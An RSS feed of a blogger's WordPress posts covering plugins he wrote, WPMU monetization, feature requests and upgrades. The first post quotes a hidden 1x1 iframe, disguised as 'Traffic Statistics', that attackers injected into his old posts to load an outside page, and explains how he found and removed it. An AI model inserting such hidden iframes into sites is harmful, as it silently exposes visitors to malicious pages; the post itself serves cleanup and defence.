<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>meta BLOG &#187; wordpress</title>
	<atom:link href="http://www.metablog.us/tag/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.metablog.us</link>
	<description>blogging about blogging about</description>
	<lastBuildDate>Mon, 17 May 2010 18:20:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>annoying html injection in wordpress</title>
		<link>http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/</link>
		<comments>http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 11:16:13 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=176</guid>
		<description><![CDATA[two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows: &#60;!-- Traffic Statistics --&#62; &#60;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&#62;&#60;/iframe&#62; &#60;!-- End Traffic Statistics --&#62; I only became aware of it when Google flagged my archives for that month as [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/">annoying html injection in wordpress</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>two of my old posts at my geekblog Haibane.info dating from <a href="http://www.haibane.info/2007/11/">November 2007</a> had some injected HTML code in them. The injected code read as follows:</p>
<p><code>&lt;!-- Traffic Statistics --&gt; &lt;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;/iframe&gt; &lt;!-- End Traffic Statistics --&gt;</code></p>
<p>I only became aware of it when Google flagged my archives for that month as &#8220;malicious&#8221;. Viewing source of the archives page revealed the hack &#8211; probably from some window of time in which I hadnt upgraded to the latest wordpress version.</p>
<p>To ensure you don&#8217;t have old posts in your archives with this exploit, just search your posts for the term &#8220;iframe&#8221;. Edit those posts and you&#8217;ll likely as not find similar code to above. </p>
<p>WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to &#8220;turn on/off automatic security patches&#8221; and when enabled, would &#8220;register&#8221; your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied. </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/">annoying html injection in wordpress</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/annoying-html-injection-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tags to Hashtags #wp</title>
		<link>http://www.metablog.us/blogging/tags-to-hashtags/</link>
		<comments>http://www.metablog.us/blogging/tags-to-hashtags/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 10:34:16 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[#wp]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[taxonomy]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=160</guid>
		<description><![CDATA[I&#8217;ve written a new plugin for wordpress entitled &#8220;AHP Tags to Hashtags&#8221; for use with WordPress and WordPress MU. The plugin can be found for now at pastebin here, I will update when it&#8217;s been added to the official wordpress plugin repository. The plugin appends the tags for each post to the post title in [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/tags-to-hashtags/">Tags to Hashtags</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>I&#8217;ve written a new plugin for wordpress entitled &#8220;AHP Tags to Hashtags&#8221; for use with WordPress and WordPress MU. The plugin can be found for now <a href="http://azizhp.pastebin.com/f3a08d09c">at pastebin here</a>, I will update when it&#8217;s been added to the official wordpress plugin repository.</p>
<p>The plugin appends the tags for each post to the post title in the RSS feed. For example, for a post titled &#8220;Awesome post&#8221; which is tagged with &#8220;Amazing, Awesome, Super awesome&#8221;, the RSS feed will show the post titles as &#8220;Awesome post #Amazing #Awesome #Superawesome&#8221;. Note that spaces in a tag are removed, and hash symbols (#) are prepended to each.</p>
<p>This plugin is useful primarily to bloggers who pipe their posts into Twitter. The post tags become Twitter hashtags. Since post tags and twitter hashtags are both a form of metadata, it is natural to simply and automatically reuse the one for the other. </p>
<p>Consider a blog post on the Iran election. Normally youd tag the post Iran and then when you tweet it, youd have to manually insert the twitter hashtag #iranelection. Now, you can simply tag the post iranelection (no # symbol) and it will automatically be hashtagged. Combined with a service like <a href="http://twitterfeed.com">Twitterfeed</a>, this plugin can greatly automate the process of piping relevant posts into the twitterverse.</p>
<p>Note that the plugin makes no attempt to check that the total length of the post title, including hashtags, falls within the 140-character limit imposed by Twitter. </p>
<p>At present the plugin has no options. The feature roadmap includes the following:<br />
- add title character length checking<br />
- toggle using tags or categories for conversion to hashtags<br />
- let user decide whether to remove spaces in tags, or convert to underlines or other character</p>
<p>this is a pretty simple plugin so other feature requests are appreciated. </p>
<p>UPDATE: version 2.0 of the plugin is <a href="http://azizhp.pastebin.com/m2a802265">at pastebin here</a>. This version no longer appends all tags, but only those already beginning with #. This way the blogger can selectively choose which tags they want converted into hashtags. </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/tags-to-hashtags/">Tags to Hashtags</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/tags-to-hashtags/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>monetizing WPMU</title>
		<link>http://www.metablog.us/monetization/monetizing-wpmu/</link>
		<comments>http://www.metablog.us/monetization/monetizing-wpmu/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 14:24:52 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[monetization]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[WPMU]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=115</guid>
		<description><![CDATA[There&#8217;s a great conversation at WPMU.org about how to make money using WordPress MU &#8211; James starts by noting that advertising doesn&#8217;t cover the hosting costs for a massively successful site, and goes into the various other ways in which they derive revenue, including selling extra features to paid users and selling custom plugins (that [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/monetization/monetizing-wpmu/">monetizing WPMU</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>There&#8217;s a great conversation at WPMU.org about how to make money using WordPress MU &#8211; <a href="http://wpmu.org/making-money-with-wordpress-mu-the-edublogs-story-so-far/">James starts</a> by noting that advertising doesn&#8217;t cover the hosting costs for a massively successful site, and goes into the various other ways in which they derive revenue, including selling extra features to paid users and selling custom plugins (that are not released under the GPL). In response, <a href="http://wpmu.org/making-money-with-wordpress-mu-part-deux/">Jason acknowledges</a> that WPMU is inherently costly to run and agrees that there must be a revenue tsream, and then goes on to argue that WPMU is really a service, not a product. Therefore to make money with WPMU, he reasons, you must provide a value-added service relative to the big free hosts like wordpress.com &#8211; such as custom themes. James replies with <a href="http://wpmu.org/wordpress-and-the-gpl/">a lengthy argument</a> defending the decision not to release plugins under the GPL.</p>
<p>I don&#8217;t have much to add aside from noting that since themes have long been released without GPL, there&#8217;s no reason that plugins should be any different, especially with <a href="http://diythemes.com/thesis/?a_aid=abde&#038;a_bid=d1c60af6">themes like Thesis</a> which are &#8220;frameworks&#8221; that really blur the line between a theme and a plugin. The same can be argued for <a href="http://prologuetheme.org/">Prologue</a>, which I use as the front end to my WPMU install at <a href="http://talkislam.info">Talk Islam</a>. The &#8220;core functions&#8221; of WP are never used in themes or plugins, so I don&#8217;t think that argument applies (think about it &#8211; why would you want to duplicate core WP functionality? why would you even need to?)</p>
<p>Of course, part of the problem for monetization is that you are a victim of your own succcess. James&#8217; monthly costs for the Edublogs network are assuredly far greater than mine for Talk Islam &#8211; I can only aspire to a fraction of his success (especially since I am not running Talk Islam as a business. not yet anyway). As such Talk Islam has only a handful of user blogs &#8211; most of the activity is on the front page (where the Prologue theme gives it a dynamic, Twitter-esque feel). My goal for Talk Islam is to incorporate the Buddypress functions and ultimately create a framework for a &#8220;community platform&#8221; that would be in a sense the successor to the Daily Kos style blog community, replicating many of the features but discarding things that are broken in my opinion (such as the way the recommended diaries list is dominated by a clique of the same voices and the same topics, with very rare original and fresh perspectives). It should be noted that <a href="http://shai-sachs.mydd.com/">Shai Sachs</a>, a very talented Drupal hacker, is working on <a href="http://www.mydd.com/story/2009/1/25/74943/5018">a drupal-based blog infrastructure project</a> for the progressive political blogsphere, but I personally believe that wordpress MU is a better platform. With Talk Islam as a prototype, we can envision a package that already includes the buddypress integration and standard theme for frontpage and user blogs that an aspiring admin could simply download and have ready to go out of the box. </p>
<p>The real question for monetization is the scale. How many WPMU installs are on the scale of Edublogs? Very few, I wager &#8211; but there are probably thousands like mine where the entire install can be run off a standard Dreamhost account. At that scale, Adsense ads can indeed cover hosting costs and even a modest profit on the side &#8211; not enough to pay rent, but maybe enough for cable television. Or a Starbucks addiction.</p>
<p>I think therefore a model for monetization presents itself. Instead of trying to monetize a single WPMU install, you monetize a packaged installation that you distribute. That installation can have Adsense code sharing so that half the revenue from ads goes to the package developer (or all if the installer doesn&#8217;t have an adsense account, there would be a box for them to paste their adsense publisher ID if they have one). For any given WPMU install the revenue will be quite modest, probably on the order of a few dollars a month. But suppose that the package was installed a hundred times? a thousand? Especially since it isn&#8217;t you who are paying the hosting fees, its the person installing the package. </p>
<p>Of course this means we have only punted the monetization issue downstream. But for a small WPMU site operator, recouping hosting costs is a lot easier than for a big operation like Edublogs. Users can be asked for donations, charged fees for extra features, etc just as James and Jason described in their posts. These revenue sources will be much more lucrative at the smaller scale. </p>
<p>As a business model, none of the above really helps James out, unfortunately <img src='http://www.metablog.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  But then again, what if individual schools ran their own WPMU microsites using Edublogs software? (actually, they do.) In a sense the strategy above can be leveraged regardless of your size. All things considered, I&#8217;d rather be in James&#8217; position of being too big <img src='http://www.metablog.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/monetization/monetizing-wpmu/">monetizing WPMU</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/monetization/monetizing-wpmu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Please vote for my plugin</title>
		<link>http://www.metablog.us/uncategorized/please-vote-for-my-plugin/</link>
		<comments>http://www.metablog.us/uncategorized/please-vote-for-my-plugin/#comments</comments>
		<pubDate>Fri, 26 Sep 2008 13:05:47 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=81</guid>
		<description><![CDATA[My plugin, AHP Sitewide Recent Posts, is an entrant in the WPMU.org plugin competition. I would greatly appreciate your support! Please cast your vote here and vote for &#8220;Yet Another Posts Plugin&#8220;. Thank you! Post from: meta BLOGPlease vote for my plugin<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/uncategorized/please-vote-for-my-plugin/">Please vote for my plugin</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>My plugin, <a href="http://www.metablog.us/blogging/ahp-recent-posts-plugin-for-wordpress-mu/">AHP Sitewide Recent Posts</a>, is an entrant in the WPMU.org plugin competition. I would greatly appreciate your support! Please <a href="http://wpmu.org/voting-open-plugin-contest/">cast your vote here</a> and vote for &#8220;<strong>Yet Another Posts Plugin</strong>&#8220;. Thank you!</p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/uncategorized/please-vote-for-my-plugin/">Please vote for my plugin</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/uncategorized/please-vote-for-my-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AHP Sitewide Recent Posts plugin for WordPress MU</title>
		<link>http://www.metablog.us/blogging/ahp-recent-posts-plugin-for-wordpress-mu/</link>
		<comments>http://www.metablog.us/blogging/ahp-recent-posts-plugin-for-wordpress-mu/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 16:12:28 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[techsphere]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=71</guid>
		<description><![CDATA[Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are: excludes posts on main blog (blog ID = 1) excludes first posts (Hello, world) on user blogs (post ID = 1) option [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/ahp-recent-posts-plugin-for-wordpress-mu/">AHP Sitewide Recent Posts plugin for WordPress MU</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are:</p>
<ul>
<li>excludes posts on main blog (blog ID = 1)</li>
<li>excludes first posts (Hello, world) on user blogs (post ID = 1)</li>
<li>option to show gravatar support (24px). Gravatar links to posts by user on their blog.</li>
<li>option to show post excerpt. User can specify excerpt length with extra argument. Option to capitalize 1st five words of excerpt for readability.</li>
<li>option to show post author name</li>
<li>option to show post date</li>
<li>option to show post comment count</li>
<li>all dispay options can be selectively toggled on or off using a single bitmask parameter, permitting very flexible and customizable usage (256 possible configurations!)</li>
<li>numerous other display and formatting options can be easily edited in source code using global vars</li>
</ul>
<p>The argument list:</p>
<ul>
<li>$how_many: how many recent posts are being displayed</li>
<li>$how_long: time frame to choose recent posts from (in days)</li>
<li>$optmask: bitmask for various display options (default: 255)
<ul>
<li>1;  // gravatar</li>
<li>2;  // date</li>
<li>4;  // author name</li>
<li>8;  // comment count</li>
<li>16; // blog name</li>
<li>32; // post name</li>
<li>64; // post excerpt</li>
<li>128; // excerpt capitalization</li>
</ul>
</li>
<li>$exc_size: size of excerpt in words (default: 30)</li>
<li>$begin_wrap: start html code (default: &lt;li class=&#8221;ahp_recent-posts&#8221;&gt;)</li>
<li>$end_wrap: end html code to adapt to different themes (default: &lt;/li&gt;)</li>
</ul>
<p>To use the bitmask option, simply add the numeric codes for the display options you want together. For example, suppose you only want gravatar, post name, and date &#8211; then the bitmask would be 1+2+32 = 35. Using a bitmask in this way, you can turn on or off any combination of display options above, using only a single function argument.</p>
<p>The <a href="http://wpmudev.org/project/AHP-Sitewide-Recent-Posts-for-WPMU">latest version (0.6) of this plugin</a> is at WPMUDEV with a more complete description, installation instructions, screenshot, and sample function call. You can see also see the plugin in action at <a href="http://talkislam.info">Talk Islam</a>, under the sidebar section titled &#8220;Recent Journals&#8221;.</p>
<div id="attachment_74" class="wp-caption alignnone" style="width: 182px">
	<a href="http://www.metablog.us/wp-content/uploads/2008/09/ahp_recent_posts.png"><img src="http://www.metablog.us/wp-content/uploads/2008/09/ahp_recent_posts.png" alt="screenshot of AHP Recent Posts plugin for WPMU" title="ahp_recent_posts" width="182" height="438" class="size-full wp-image-74" /></a>
	<p class="wp-caption-text">screenshot of AHP Recent Posts plugin for WPMU</p>
</div>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/ahp-recent-posts-plugin-for-wordpress-mu/">AHP Sitewide Recent Posts plugin for WordPress MU</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/ahp-recent-posts-plugin-for-wordpress-mu/feed/</wfw:commentRss>
		<slash:comments>108</slash:comments>
		</item>
		<item>
		<title>RSS-based comment moderation?</title>
		<link>http://www.metablog.us/blogging/rss-based-comment-moderation/</link>
		<comments>http://www.metablog.us/blogging/rss-based-comment-moderation/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 17:48:24 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[RSS]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=67</guid>
		<description><![CDATA[I just left the following ticket on WordPress Trac, as a feature request: RSS feeds are already generated for posts and comments by default. What would be very helpful woudl be a dedicated RSS feed for comments in the moderation queue. This would permit efficient queue processing without having to log into the Dashboard. For [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/rss-based-comment-moderation/">RSS-based comment moderation?</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>I just left the following ticket on WordPress Trac, as a feature request:</p>
<blockquote><p>RSS feeds are already generated for posts and comments by default. What would be very helpful woudl be a dedicated RSS feed for comments in the moderation queue. This would permit efficient queue processing without having to log into the Dashboard. </p>
<p>For added functionality, each item in the RSS feed could have unique URL hash address links for approve, reject, and spam, so that moderating directly from the RSS feed could be possible from within the feedreading application. the RSS feed would need to be password protected or made visible to any user level that the admin desires to set. </p></blockquote>
<p>(<a href="http://trac.wordpress.org/ticket/7452">Trac Ticket #7452</a>)</p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/rss-based-comment-moderation/">RSS-based comment moderation?</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/rss-based-comment-moderation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>plugin wanted: Author Tags</title>
		<link>http://www.metablog.us/blogging/plugin-wanted-author-tags/</link>
		<comments>http://www.metablog.us/blogging/plugin-wanted-author-tags/#comments</comments>
		<pubDate>Mon, 30 Jun 2008 11:50:34 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=64</guid>
		<description><![CDATA[Had another idea for a useful plugin &#8211; what is needed is a plugin that creates a tag cloud/tag list on a per author basis. This would be especially useful for group blogging sites (like Talk Islam). The plugin would ideally allow a simple function call with arguments: - user name (login) - number of [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/plugin-wanted-author-tags/">plugin wanted: Author Tags</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>Had another idea for a useful plugin &#8211; what is needed is a plugin that creates a tag cloud/tag list on a per author basis. This would be especially useful for group blogging sites (like <a href="http://talkislam.info">Talk Islam</a>). The plugin would ideally allow a simple function call with arguments:</p>
<p>- user name (login)<br />
- number of tags (defaults to 5)<br />
- list or cloud format (defaults to list)<br />
- list delimiter (defaults to &#8221; | &#8220;)</p>
<p>On a bio page or About page, this would be very cool because it would let you see at a glance what topics each author blogs about most. </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/plugin-wanted-author-tags/">plugin wanted: Author Tags</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/plugin-wanted-author-tags/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>beyond the tag cloud: the tagdex</title>
		<link>http://www.metablog.us/content/beyond-the-tag-cloud-the-tagdex/</link>
		<comments>http://www.metablog.us/content/beyond-the-tag-cloud-the-tagdex/#comments</comments>
		<pubDate>Sun, 13 Apr 2008 00:40:59 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[content]]></category>
		<category><![CDATA[folksonomy]]></category>
		<category><![CDATA[semanticweb]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=45</guid>
		<description><![CDATA[I think tag clouds are somewhat useless, to be honest. They are a nice way to fill up a bit of space in a sidebar, if you restrict the cloud to the top 25 or so, but unless the writer is imposing a strict taxonomy on themselves, ultimately the size of the cloud will balloon [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/content/beyond-the-tag-cloud-the-tagdex/">beyond the tag cloud: the tagdex</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>I think tag clouds are somewhat useless, to be honest. They are a nice way to fill up a bit of space in a sidebar, if you restrict the cloud to the top 25 or so, but unless the writer is imposing a strict taxonomy on themselves, ultimately the size of the cloud will balloon to an unmanageable size. And a tag cloud in a folksonomy makes no sense, because the wide variation in tags is a feature, not a bug. You want the tags to be vast and redundant. It is ok to have <a href="http://www.ultrabrown.com/posts/shorter-unaccustomed-earth">a post about Jhumpa Lahiri&#8217;s latest novel</a> tagged &#8220;book&#8221;, &#8220;books&#8221;, &#8220;review&#8221;, &#8220;Lahiri&#8221;, etc. because this increases the points of entry to the content from tag indexing services like technorati, and also increases the intra-blog, inter-post linkages (assuming you are using some variant of a Related Posts plugin that uses tags for determining what is related). </p>
<p>A far better way to think of tags is to consider them as terms in an index. The same kind of index you find at the end of a piece of non-fiction, to be specific. Consider an excerpt from the <a href="http://books.google.com/books?id=NEhSpZFWiBMC&#038;printsec=index&#038;dq=subject:%22+Science+/+Physics+%22&#038;as_brr=3&#038;rview=1&#038;source=gbs_toc_s&#038;cad=1">Index to the book, The Physics of Star Trek</a>, as an example:</p>
<p><a href='http://www.metablog.us/wp-content/uploads/2008/04/trek_index_abbrev.png'><img src="http://www.metablog.us/wp-content/uploads/2008/04/trek_index_abbrev.png" alt="excerpt from second page of index to Physics of Star Trek" title="trek_index_abbrev" width="445" height="131" class="alignnone size-full wp-image-47" /></a></p>
<p>It&#8217;s easy to see how tags could be recruited to &#8220;build&#8221; an index of this type. The tags would first need to be sorted in alphabetical order, and then listed as a DL-type HTML list with the &#8220;page number&#8221; (post number). A range of posts coudl be indicated by the usual dash (ex. Bosons, 192-194) and a list of separate posts by commas (Black Star, 15, 51). </p>
<p>That would be the crudest implementation, but quite effective. However you could go further than this. For example, what about the &#8220;see also&#8221; link? You could simulate this by looking for tags whose usage is highly correlated, like &#8220;Lahiri&#8221; and &#8220;books&#8221;. You could literally calculate Pearson&#8217;s correlation coefficient between all pairs of tags in the database and store that in a lookup table, which woudl be updated whenever a post is published. Then any tag whose correlation coefficient to the present post is above some threshold (say, > 0.50) would get the &#8220;See also&#8221; treatment on both tags&#8217; entries. </p>
<p>You coudl even draft categories in wordpress to contribute, by using them as &#8220;tags&#8221; in their own right and lumping them into the regular index build (after all, as implemented in WordPress, <a href="http://www.metablog.us/content/taxonomy-versus-folksonomy/">tags and categories are just redundant taxonomic systems</a>). However, you also might look for correlations between tags and categories, and use the categories as Index parent terms. An example from <a href="http://haibane.info">my own geekblog</a> would be something like</p>
<blockquote><p>
<a href="http://www.haibane.info/topic/Anime/">Anime</a><br />
- <a href="http://www.haibane.info/tag/Ranma">Ranma</a><br />
- <a href="http://www.haibane.info/tag/makoto-shinkai/">Makoto Shinkai</a><br />
- <a href="http://www.haibane.info/tag/somedays-dreamers/">Someday&#8217;s Dreamers</a><br />
(&#8230;)<br />
<a href="http://www.haibane.info/topic/geek+service/">Geek Service</a><br />
- <a href="http://www.haibane.info/tag/eee/">Asus EEE PC</a><br />
- <a href="http://www.haibane.info/tag/hdtv/">HDTV</a><br />
- <a href="http://www.haibane.info/tag/Space/">Space</a><br />
(&#8230;)</p></blockquote>
<p>I had to manually generate the above but it would be far simpler to do it via correlation analysis instead. At any rate, the basic idea is to assign categories as index headings and tags as their cdependents, since presumably categories are more formally taxonomic, and more importantly, fewer. In fact you could do both, treating categories as tags and also giving them higher status as above. You would just need to put a logical test in to exclude a category from appearing as its own parent/child!</p>
<p>Obviously a tag-driven index as above wouldn&#8217;t fit in a sidebar. A useful place for it would be its own page, but you might also imagine it embedded on the 404 page. As a standalone, though, it would be a very useful node for search engine optimization, enough so that perhaps it should be called a &#8220;tagdex&#8221; instead of an index to better distinguish it.</p>
<p>Though useful to any blogger using tags on wordpress, a tagdex would be far more effective on a site whose tags were a genuine folksonomy rather than a taxonomy, since the tag diversity would be greater. However, folksonomy is not a feature of WordPress, unless you use Scott&#8217;s awesome <a href="http://scott.sherrillmix.com/blog/blogger/wp_folksonomy/">WP-Folksonomy plugin</a> (which he wrote in response to my earlier <a href="http://www.metablog.us/content/taxonomy-versus-folksonomy/">rant about taxonomies and folksonomies</a>). If a thriving ecosystem of wordpress-based folksonomies can be encouraged to thrive (using Scott&#8217;s plugin, or equivalent), that will be <a href="http://en.wikipedia.org/wiki/Folksonomy#Folksonomy_and_the_Semantic_Web">a significant step towards the Semantic Web</a>. A tagdex represents a coherent snapshot of all the tag metadata in that site&#8217;s folksonomy (or taxonomy). As such, it is something that could be parsed and aggregated by the hypothetical Semantic Search Engine of the future. </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/content/beyond-the-tag-cloud-the-tagdex/">beyond the tag cloud: the tagdex</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/content/beyond-the-tag-cloud-the-tagdex/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>upgraded to WordPress 2.5</title>
		<link>http://www.metablog.us/blogging/upgraded-to-wordpress-25/</link>
		<comments>http://www.metablog.us/blogging/upgraded-to-wordpress-25/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 00:48:40 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/?p=41</guid>
		<description><![CDATA[Thus far everything seems to be working smoothly. All my plugins are working fine that I can see (knock on wood). The new layout and aesthetics are quite clean and nice. I also like the widgetized Dashboard. I&#8217;ll just jump in start using it and see what my thoughts are after a week. Post from: [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/upgraded-to-wordpress-25/">upgraded to WordPress 2.5</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>Thus far everything seems to be working smoothly. All my plugins are working fine that I can see (knock on wood). The new layout and aesthetics are quite clean and nice. I also like the widgetized Dashboard. I&#8217;ll just jump in start using it and see what my thoughts are after a week. </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/blogging/upgraded-to-wordpress-25/">upgraded to WordPress 2.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/blogging/upgraded-to-wordpress-25/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wavatars updated</title>
		<link>http://www.metablog.us/users/wavatars-updated/</link>
		<comments>http://www.metablog.us/users/wavatars-updated/#comments</comments>
		<pubDate>Wed, 26 Mar 2008 17:19:41 +0000</pubDate>
		<dc:creator>Aziz Poonawalla</dc:creator>
				<category><![CDATA[users]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.metablog.us/users/wavatars-updated/</guid>
		<description><![CDATA[Shamus announces an update to his wavatars plugin. However, as noted earlier, the pending release of WordPress 2.5 will likely break most avatar plugins due to its built-in avatar support. It think it makes more sense to wait for the post-upgrade version of wavatars for the time being; I still would like to see a [...]<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/users/wavatars-updated/">wavatars updated</a></p>
]]></description>
			<content:encoded><![CDATA[<p></p><p>Shamus <a href="http://www.shamusyoung.com/twentysidedtale/">announces</a> an update to his wavatars plugin. However, as  <a href="http://www.metablog.us/users/wp-25-has-built-in-gravatar-support/">noted earlier</a>, the pending release of WordPress 2.5 will likely break most avatar plugins due to its <a href="http://www.metablog.us/users/wp-25-has-built-in-gravatar-support/">built-in avatar support</a>. It think it makes more sense to wait for the post-upgrade version of wavatars for the time being; I still would like to see a way to define avatar libraries so that instead of two plugins, I could just select from a drop down of avatar styles (wavatars, monsters, etc). </p>
<p>Post from: <a href="http://www.metablog.us">meta BLOG</a><br/><br/><a href="http://www.metablog.us/users/wavatars-updated/">wavatars updated</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.metablog.us/users/wavatars-updated/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
